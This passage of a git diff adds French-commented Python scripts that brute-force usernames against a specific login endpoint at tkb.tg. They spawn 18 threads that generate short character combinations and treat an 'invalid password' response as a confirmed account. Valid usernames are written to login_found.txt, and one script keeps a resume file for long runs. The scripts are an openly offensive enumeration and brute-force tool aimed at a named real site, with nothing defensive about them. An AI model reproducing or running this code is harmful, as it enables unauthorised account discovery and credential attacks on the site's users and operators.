user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack13(): + rec=24 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack14(): + rec=26 + x,y,z,u=0,0,0,0 + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack15(): + rec=28 + x,y,z,u=0,0,0,0 + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack16(): + rec=30 + x,y,z,u=0,0,0,0 + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack17(): + rec=32 + x,y,z,u=0,0,0,0 + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack18(): + rec=34 + x,y,z,u=0,0,0,0 + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass + +# 18 thread ecrit en spagettti , ainsi multiplier par 18 la vitesse du moteur +t1=threading.Thread(target=crack) +t2=threading.Thread(target=crack2) +t3=threading.Thread(target=crack3) +t4=threading.Thread(target=crack4) +t5=threading.Thread(target=crack5) +t6=threading.Thread(target=crack6) +t7=threading.Thread(target=crack7) +t8=threading.Thread(target=crack8) +t9=threading.Thread(target=crack9) +t10=threading.Thread(target=crack10) +t11=threading.Thread(target=crack11) +t12=threading.Thread(target=crack12) +t13=threading.Thread(target=crack13) +t14=threading.Thread(target=crack9) +t15=threading.Thread(target=crack10) +t16=threading.Thread(target=crack11) +t17=threading.Thread(target=crack12) +t18=threading.Thread(target=crack13) +t1.start() +t2.start() +t3.start() +t4.start() +t5.start() +t6.start() +t7.start() +t8.start() +t9.start() +t10.start() +t11.start() +t12.start() +t13.start() +t14.start() +t15.start() +t16.start() +t17.start() +t18.start() +t1.join() +t2.join() +t3.join() +t4.join() +t5.join() +t6.join() +t7.join() +t8.join() +t9.join() +t10.join() +t11.join() +t12.join() +t13.join() +t14.join() +t15.join() +t16.join() +t17.join() +t18.join() + +print("fermeture du moteur ,bye ") +time.sleep(2) +# code source ecrit par anonymous13 diff --git a/crack3/crack-lite3.py b/crack3/crack-lite3.py new file mode 100644 index 0000000..c77f056 --- /dev/null +++ b/crack3/crack-lite3.py @@ -0,0 +1,1077 @@ +# modules necessaires + +import urllib.request as rq +import time +import threading + +print(" \t\t DEMARRAGE DU MOTEUR ... \n\n") +time.sleep(1) +global lettre,long,bou,repo5,num,long2,long3 +lettre=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','v','w','u','x','y','z','0','1','2','3','4','5','6','7','8','9',''] +long=36 +bou=1 +repo5=4 +num=3 +long2=0 +long3=0 +# code spagetti enfin fonction X18 pour les thread +def crack(): + # initialisation des variables a utiliser + rec=1 + x,y,z,u=0,0,0,0 + # algo pour traiter les decalage + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + # coeur du moteur... va permettre la generation ordonner des logins + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + # envoye ; reception ; et traitement automatique des requetes HTTP + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + # algo pour calculer le debit du bruteforce + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + # les logins corrects seront automatiquement ecrit dans un fichier nommer login_found.txt + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack2(): + rec=2 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack3(): + rec=4 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack4(): + rec=6 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack5(): + rec=8 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack6(): + rec=10 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack7(): + rec=12 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack8(): + rec=14 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack9(): + rec=16 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack10(): + rec=18 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack11(): + rec=20 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack12(): + rec=22 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack13(): + rec=24 + x,y,z,u=0,0,0,0 + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack14(): + rec=26 + x,y,z,u=0,0,0,0 + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack15(): + rec=28 + x,y,z,u=0,0,0,0 + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack16(): + rec=30 + x,y,z,u=0,0,0,0 + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack17(): + rec=32 + x,y,z,u=0,0,0,0 + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass +def crack18(): + rec=34 + x,y,z,u=0,0,0,0 + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + pass + + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + pass + +# 18 thread ecrit en spagettti , ainsi multiplier par 18 la vitesse du moteur +t1=threading.Thread(target=crack) +t2=threading.Thread(target=crack2) +t3=threading.Thread(target=crack3) +t4=threading.Thread(target=crack4) +t5=threading.Thread(target=crack5) +t6=threading.Thread(target=crack6) +t7=threading.Thread(target=crack7) +t8=threading.Thread(target=crack8) +t9=threading.Thread(target=crack9) +t10=threading.Thread(target=crack10) +t11=threading.Thread(target=crack11) +t12=threading.Thread(target=crack12) +t13=threading.Thread(target=crack13) +t14=threading.Thread(target=crack9) +t15=threading.Thread(target=crack10) +t16=threading.Thread(target=crack11) +t17=threading.Thread(target=crack12) +t18=threading.Thread(target=crack13) +t1.start() +t2.start() +t3.start() +t4.start() +t5.start() +t6.start() +t7.start() +t8.start() +t9.start() +t10.start() +t11.start() +t12.start() +t13.start() +t14.start() +t15.start() +t16.start() +t17.start() +t18.start() +t1.join() +t2.join() +t3.join() +t4.join() +t5.join() +t6.join() +t7.join() +t8.join() +t9.join() +t10.join() +t11.join() +t12.join() +t13.join() +t14.join() +t15.join() +t16.join() +t17.join() +t18.join() + +print("fermeture du moteur ,bye ") +time.sleep(2) +# code source ecrit par anonymous13 diff --git a/crack3/crack.py b/crack3/crack.py new file mode 100644 index 0000000..eb658b4 --- /dev/null +++ b/crack3/crack.py @@ -0,0 +1,1165 @@ +# modules necessaires + +import urllib.request as rq +import time +import threading +global last +print(" \t\t DEMARRAGE DU MOTEUR ... \n\n") +time.sleep(1) +try: + file=open("recov.ck",'r') + recov=file.read() + file.close() + last=int(recov) + print('chargement de la derniere session ...\n\n') + time.sleep(1) +except FileNotFoundError: + print("creation d'une nouvel session ... \n\n") + last=0 + time.sleep(1) +global lettre,long,bou,repo5,num,long2,long3 +lettre=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','v','w','u','x','y','z','0','1','2','3','4','5','6','7','8','9',''] +long=36 +bou=1 +repo5=4 +num=3 +long2=0 +long3=0 +# code spagetti enfin fonction X18 pour les thread +def crack(): + # initialisation des variables a utiliser + rec=1 + x,y,z,u=0,0,0,last + # algo pour traiter les decalage + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]+lettre[u]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + # coeur du moteur... va permettre la generation ordonner des logins + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + file2=open('recov.ck','w') + file2.write(str(u)) + file2.close() + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + # envoye ; reception ; et traitement automatique des requetes HTTP + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + # algo pour calculer le debit du bruteforce + t2=time.time() + t4=int(((t2-t1)*(36**4))//60) + t3=int((1/(t2-t1))*19) + # les logins corrects seront automatiquement ecrit dans un fichier nommer login_found.txt + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack2(): + rec=2 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]+lettre[u]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**4))//60) + t4=int(((t2-t1)*(36**4))//60) + t3=int((1/(t2-t1))*19) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack3(): + rec=4 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]+lettre[u]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**4))//60) + t3=int((1/(t2-t1))*19) + + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack4(): + rec=6 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]+lettre[u]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**4))//60) + t3=int((1/(t2-t1))*19) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack5(): + rec=8 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]+lettre[u]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**4))//60) + t3=int((1/(t2-t1))*19) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack6(): + rec=10 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]+lettre[u]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**4))//60) + t3=int((1/(t2-t1))*19) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack7(): + 